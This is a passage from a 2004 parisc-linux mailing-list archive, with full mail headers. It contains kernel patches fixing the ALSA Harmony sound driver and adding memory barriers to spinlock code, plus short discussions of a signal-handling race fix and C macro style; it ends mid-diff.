Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] ALSA Harmony bugfixes
Date: Fri, 27 Aug 2004 13:54:14 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20040827125414.GA5515@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623530 10822 80.91.229.3 (22 Nov 2014 02:32:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24589 invoked by uid 65534); 27 Aug 2004 12:55:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 27 Aug 2004 14:55:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CB32C3BDCE; Fri, 27 Aug 2004 06:55:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00963-08; Fri, 27 Aug 2004 06:54:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 629883BDF3; Fri, 27 Aug 2004 06:54:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A4023BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 06:54:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00444-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 06:54:15 -0600 (MDT)
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by free.linux.hp.com (Postfix) with ESMTP id 470423BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 06:54:14 -0600 (MDT)
Original-Received: from janus ([81.105.248.115]) by mta02-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040827125232.MXJL4370.mta02-svc.ntlworld.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 13:52:32 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1C0gFC-0001RG-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 13:54:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21902

Two patches for the ALSA Harmony driver:

   One fixes a crash when reloading the ALSA Harmony driver.
   The other is a minor cleanup for formats/rates.

--- linux-2.6/sound/parisc/harmony.c	2004-08-26 07:36:02.066664310 +0100
+++ linux-2.6/sound/parisc/harmony.c	2004-08-26 07:46:34.221250320 +0100
@@ -1111,11 +1111,13 @@
 		{	
 			DPRINTK(KERN_INFO PFX "Freeing card %d\n", idx);
 			harmony = snd_harmony_cards[idx]->private_data;
-			free_irq(harmony->irq, snd_card_harmony_interrupt);
+			free_irq(harmony->irq, harmony);
 			printk(KERN_INFO PFX "Card unloaded %d, irq=%d\n", idx, harmony->irq);
 			snd_card_free(snd_harmony_cards[idx]);
 		}
 	}	
+	if (unregister_parisc_driver(&snd_card_harmony_driver) < 0)
+		printk(KERN_ERR "Failed to unregister Harmony driver\n");
 }
 
 module_init(alsa_card_harmony_init)


--- linux-2.6/sound/parisc/harmony.c	2004-08-26 07:36:02.066664310 +0100
+++ linux-2.6/sound/parisc/harmony.c	2004-08-26 07:41:26.158761888 +0100
@@ -283,7 +283,7 @@
 {
 	unsigned int idx;
 	
-	for (idx = 0; idx <= RATES; idx++)
+	for (idx = 0; idx < RATES; idx++)
 		if (snd_card_harmony_rates[idx] == rate)
 			return rate_bits[idx];
 	return HARMONY_SR_44KHZ; /* fallback */
@@ -648,10 +648,10 @@
 					SNDRV_PCM_INFO_JOINT_DUPLEX | 
 					SNDRV_PCM_INFO_MMAP_VALID |
 					SNDRV_PCM_INFO_BLOCK_TRANSFER),
-	.formats =		(SNDRV_PCM_FMTBIT_U8 | SNDRV_PCM_FMTBIT_S16_BE | 
-					SNDRV_PCM_FMTBIT_A_LAW | SNDRV_PCM_FMTBIT_MU_LAW),
+	.formats =		(SNDRV_PCM_FMTBIT_MU_LAW | SNDRV_PCM_FMTBIT_A_LAW |
+					SNDRV_PCM_FMTBIT_S16_BE),
 	.rates =		SNDRV_PCM_RATE_CONTINUOUS | SNDRV_PCM_RATE_8000_48000,
-	.rate_min =		5500,
+	.rate_min =		5125,
 	.rate_max =		48000,
 	.channels_min =		1,
 	.channels_max =		2,

-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: linux signal race fixes,
	patches against hppa tree, please test.
Date: Fri, 27 Aug 2004 15:50:38 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200408271950.i7RJod9D008622@hiauly1.hia.nrc.ca>
References: <20040827182626.GH25975@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623530 10824 80.91.229.3 (22 Nov 2014 02:32:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:10 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15708 invoked by uid 65534); 27 Aug 2004 19:51:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 27 Aug 2004 21:51:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B40853BDF9; Fri, 27 Aug 2004 13:50:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06718-08; Fri, 27 Aug 2004 13:50:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BDFB63BE0A; Fri, 27 Aug 2004 13:50:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A7D73BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 13:50:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06672-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 13:50:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 859413BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 13:50:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i7RJod45008624; Fri, 27 Aug 2004 15:50:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i7RJod9D008622;
	Fri, 27 Aug 2004 15:50:39 -0400 (EDT)
In-Reply-To: <20040827182626.GH25975@baldric.uwo.ca> from "Carlos O'Donell" at
	Aug 27, 2004 02:26:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21903

> jda,
> 
> This is more important for you, approximately 48 hours ago, Linus
> commited a fix for a signal handling race.
> 
> http://linux.bkbits.net:8080/linux-2.6/cset@1.1846.1.48?nav=index.html|Chang
> eSet@-2d
> 
> That is the changeset, and included is a patch against our CVS head 
> that fixes the race condition.
> 
> It could force a thread not to restart or crash, or do all sorts of
> things. It may be the bug you are seeing.

Have you tried the patch and the testcase?  The reference indicates that
it brought down a i386 SMP system in milliseconds.

> Please test it out and see if it makes the builds more stable. It could
> be the reason for random sigsegvs with expect/tcl.
> 
> The patch fixes our arch code so we *never* have a k_sigaction that
> wasn't copied without a lock held.
> 
> The new code passes around a pointer to an arch allocated k_sigaction
> and copies it with the lock held so it can't be changed between 'check'
> and 'delivery.'

Sounds good.  I think it is likely that even with this fix tcl8.4 still
needs the fix for the exit deadlock.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sat, 28 Aug 2004 16:57:57 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <4130B995.4060201@tiscali.be>
References: <20040827163701.GA2414@mcmartin.ca>	<1093625820.2010.26.camel@mulgrave>
	<20040827170342.GD25975@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623530 10828 80.91.229.3 (22 Nov 2014 02:32:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Kyle McMartin <kyle@mcmartin.ca>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3486 invoked by uid 65534); 28 Aug 2004 16:57:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 28 Aug 2004 18:57:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 710173BE4B; Sat, 28 Aug 2004 10:57:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17228-03; Sat, 28 Aug 2004 10:57:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 70B803BE53; Sat, 28 Aug 2004 10:57:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 347903BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 10:57:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16779-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 10:57:01 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id A38853BE04
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 10:57:00 -0600 (MDT)
Original-Received: from [83.134.227.121] (helo=[83.134.227.121])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C16Vc-0003NC-Ed; Sat, 28 Aug 2004 18:56:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <20040827170342.GD25975@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21904



Carlos O'Donell wrote:
>  On Fri, 2004-08-27 at 12:37, Kyle McMartin wrote:
[...]

>>
>>if (<some statement>)
>>	spin_lock_init(x);
> 
> 
> I always recommend macros should be encased with "({ ... })" which give
> you a new scope for variable declarations aswell.
> 

Do I well undesrtand: replace e.g.
#define SPIN_LOCK_IRQSAVE(l,f) do {            \
        spinlock_t *s = ATOMIC_HASH(l);                 \
        local_irq_save(f);                              \
        spin_lock(s);                                   \
} while(0)

by
#define SPIN_LOCK_IRQSAVE(l,f) ({            \
        spinlock_t *s = ATOMIC_HASH(l);                 \
        local_irq_save(f);                              \
        spin_lock(s);                                   \
})

I admit that I never find the right way to choose between those 2 forms?

TIA,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sat, 28 Aug 2004 13:07:52 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20040828170752.GS2414@mcmartin.ca>
References: <20040827163701.GA2414@mcmartin.ca>
	<1093625820.2010.26.camel@mulgrave>
	<20040827170342.GD25975@baldric.uwo.ca>
	<4130B995.4060201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623531 10831 80.91.229.3 (22 Nov 2014 02:32:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7519 invoked by uid 65534); 28 Aug 2004 17:08:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 28 Aug 2004 19:08:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7DF043BE4B; Sat, 28 Aug 2004 11:08:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17290-06; Sat, 28 Aug 2004 11:08:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 972373BE58; Sat, 28 Aug 2004 11:07:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22E723BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 11:07:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16779-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 11:07:55 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id 88D563BE04
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 11:07:54 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id 06FCAEE1A; Sat, 28 Aug 2004 13:07:52 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4130B995.4060201@tiscali.be>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21905

On Sat, Aug 28, 2004 at 04:57:57PM +0000, Joel Soete wrote:
> #define SPIN_LOCK_IRQSAVE(l,f) ({            \
>        spinlock_t *s = ATOMIC_HASH(l);                 \
>        local_irq_save(f);                              \
>        spin_lock(s);                                   \
> })
> 
This form allows you to use SPIN_LOCK_IRQSAVE as an rvalue, as in

#define foo(a) ({ \
	int _b = 10;
	_b += a;
	_b;
})

baz = foo(10);
baz == 20;

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sat, 28 Aug 2004 18:15:25 -0400
Lines: 143
Approved: news@gmane.org
Message-ID: <20040828221524.GT2414@mcmartin.ca>
References: <20040827163701.GA2414@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623531 10833 80.91.229.3 (22 Nov 2014 02:32:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17108 invoked by uid 65534); 28 Aug 2004 22:15:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 29 Aug 2004 00:15:58 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 049F33BE58; Sat, 28 Aug 2004 16:15:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19535-10; Sat, 28 Aug 2004 16:15:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5FC843BE60; Sat, 28 Aug 2004 16:15:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D6FA3BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 16:15:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19535-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 16:15:28 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id 0C4123BE04
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Aug 2004 16:15:27 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id 5076FEE1A; Sat, 28 Aug 2004 18:15:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20040827163701.GA2414@mcmartin.ca>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21906

Once more unto the brink,

Commitable?

Index: arch/parisc/lib/locks.c
===================================================================
RCS file: /var/cvs/linux-2.4/arch/parisc/lib/locks.c,v
retrieving revision 1.1
diff -u -r1.1 locks.c
--- arch/parisc/lib/locks.c	16 Nov 2002 07:28:08 -0000	1.1
+++ arch/parisc/lib/locks.c	28 Aug 2004 18:55:59 -0000
@@ -24,6 +24,8 @@
 {
 	int cpu = smp_processor_id();
 	unsigned int stuck = INIT_STUCK;
+
+	mb();
 	while (!__spin_trylock(lock)) {
 		while ((unsigned volatile long)lock->lock == 0) {
 			if (!--stuck) {
@@ -39,19 +41,23 @@
 	}
 	lock->owner_pc = (unsigned long)__builtin_return_address(0);
 	lock->owner_cpu = cpu;
+	mb();
 }
 
 int spin_trylock(spinlock_t *lock)
 {
+	mb();
 	if (!__spin_trylock(lock))
 		return 0;
 	lock->owner_cpu = smp_processor_id(); 
 	lock->owner_pc = (unsigned long)__builtin_return_address(0);
+	mb();
 	return 1;
 }
 
 void spin_unlock(spinlock_t *lp)
 {
+	mb();
   	if ( lp->lock )
 		printk("spin_unlock(%p): no lock cpu %d curr PC %p %s/%d\n",
 		       lp, smp_processor_id(), __builtin_return_address(0),
@@ -63,6 +69,7 @@
 	lp->owner_pc = lp->owner_cpu = 0;
 	wmb();
 	lp->lock = 1;
+	mb();
 }
 
 #endif
Index: include/asm-parisc/atomic.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/asm-parisc/atomic.h,v
retrieving revision 1.10
diff -u -r1.10 atomic.h
--- include/asm-parisc/atomic.h	13 Sep 2002 21:43:37 -0000	1.10
+++ include/asm-parisc/atomic.h	28 Aug 2004 18:56:09 -0000
@@ -30,8 +30,11 @@
  *
